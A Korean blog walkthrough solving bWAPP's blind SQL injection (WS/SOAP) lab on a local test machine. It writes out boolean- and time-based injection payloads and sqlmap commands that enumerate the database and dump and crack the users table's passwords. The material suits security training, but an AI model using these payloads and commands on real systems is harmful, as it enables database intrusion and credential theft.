본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 3-3.Blind SQL 인젝션 [WS/SOAP]

by Robert8478 2023. 12. 13.

SOAP 란? - Simple Object Access Protocol 으로 애플리케이션 계층의 프로토콜을 전송 계층의 프로토콜로 사용할 수 있도록 하는 프로토콜로 HTTP,HTTPS,SMTP 등을 통해 XML 기반의 메시지가 네트워크에서 교환될 수 있다.

네트워크에 있는 정보를 모아 서비스로 제공하므로 SOAP를 통해 물리적으로 인접하지 않은 서버에 정보를 요청하고 그에대한 응답 값을 확인할 수 있다.

이번 페이지는 영화를 선택하면 남아있는 티켓 수를 출력한다. 티켓 수 출력에 SOAP를 활용하여 티켓 수를 보여준다.
SOAP 기능을 통해 Boolean Based SQLI와 Time Based SQLI가 가능하다.

[난이도 하]

우선 URL주소에 노출된 title 변수 값에 ' 를 넣었는데 tickets available 메시지가 나왔다. ' or 1=1#을 넣어보자.

그러나 그럼에도 같은 결과값을 출력하였다. 그렇다면 이번엔 주석을 넣지 않고 참인 결과를 만드는 ' or 'a'='a 를 넣어보자.

그랬더니 티켓 수가 100장이 출력되었다. 즉, SOAP 기능이 실행된 것이다. 반대로 ' or 'a'='b 거짓 쿼리를 넣었을때는 위처럼 티켓 수가 안나온걸 보아 참인 결과를 SOAP 기능이 실행되는지 안되는지로 판별하면 될것이다. Time based를 쓰기 위해 sleep 함수를 써보자.

' or sleep(4) and 'a'='a 구문을 사용하니 4초동안 로딩이 지연되었다.

' or length(database())=5 and 'a'='a  길이를 찾아보니 5자리였다.
위 쿼리를 사용하여 database명의 길이를 찾았다. 주석처리를 하지 않기 때문에 참 쿼리를 뒤로 보내주었다.
이번엔 time based로 substr을 해보자.

' or substr(database(),1,1)='b' and sleep(4) and 'a'='a 쿼리를 넣어주었다. 이런 방식으로 time based sqli도 쓸 수 있다.
나머지는 이전 문제와 같은 방식으로 풀이한다. 이미 데이터베이스명과 칼럼명을 알고 있는 상황이다.
그래서 수동은 의미가 없을것 같으니 이번엔 sqlmap을 사용해보자. 칼리리눅스를 틀어준다.

이번에도 전에 사용하였던 옵션을 사용해볼 것이다.
-u 옵션에 공격 주소를 넣어주고 -- data 옵션으로 변수를 명시하고 --cookie 옵션으로 쿠키값을 입력한다.
-p 옵션으로 공격할 변수를 설정하고 --dbs 옵션을입력하여 DB의 구조를 확인한다.
--batch 옵션을 사용하면 sqlmap에 기본 설정된 값을 자동으로 입력하고 인젝션을 진행하게 된다.

쿠키 값은 버프슈트에서 알아내어 복사하도록 하자. 이제 명령어를 입력해 보자.

sqlmap -u "http://192.168.56.102/bWAPP/sqli_5.php" --cookie "PHPSESSID=9513c296ee90dff3bd9b517a4102fe59; security_level=0" --data="title=1" -p "title" --dbs 쿼리를 사용하였다.
중간에 Time Based SQL 인젝션의 응답을 최적화 하는 값을 입력할것인지에 대해 물어보는데 Y를 해주면 된다.
여기서 --time-sec 옵션을 사용해서 실행 전 지연 시간을 지정할 수도 있다.


그렇게 해서 데이터베이스 구조를 확인하였다. 이제 테이블과 칼럼을 확인해보자.
-D 옵션으로 데이터베이스를 지정해 줄 수 있으며, --tables 옵션을 사용하여 테이블 정보를 확인한다.
또한, -T 옵션으로 테이블을 지정해 줄 수 있으며, --columns 옵션으로 칼럼 정보를 확인한다.

 

sqlmap -u "http://192.168.56.102/bWAPP/sqli_5.php" --cookie "PHPSESSID=9513c296ee90dff3bd9b517a4102fe59; security_level=0" --data="title=1" -p "title" -D bWAPP -T users --columns 쿼리를 사용하였다.
그 결과 users 테이블에 있는 칼럼들이 출력되었다. 이제 이 칼럼들의 내용만 확인해 보면 된다.
-C 옵션으로 칼럼들을 지정하고 --dump 옵션을 사용해서 칼럼의 내용을 출력한다.

sqlmap -u "http://192.168.56.102/bWAPP/sqli_5.php" --cookie "PHPSESSID=9513c296ee90dff3bd9b517a4102fe59; security_level=0" --data="title=1" -p "title" -D bWAPP -T users -C login,email,password,secret --dump --batch
위 쿼리를 사용해서 칼럼 내용을 파악하였다. 그 뒤 password 사전 파일로 크래킹 할거냐고 하는데 Y를 해주고 1번을 눌러준다. 마지막에 common password suffixes는 특수문자나 숫자를 포함해서 공격하느냐 묻는것이다. 여기서는 굳이 하면 느려지기만 하므로 N으로 설정해준다. 그러면 패스워드 값까지 크래킹된 계정 정보가 출력될 것이다.


[난이도 중,상]
난이도 중 - addslashes 함수로 방어 (특수문자 필터링)
난이도 상 - mysql_real_escape_string 함수로 방어 (특수문자 필터링)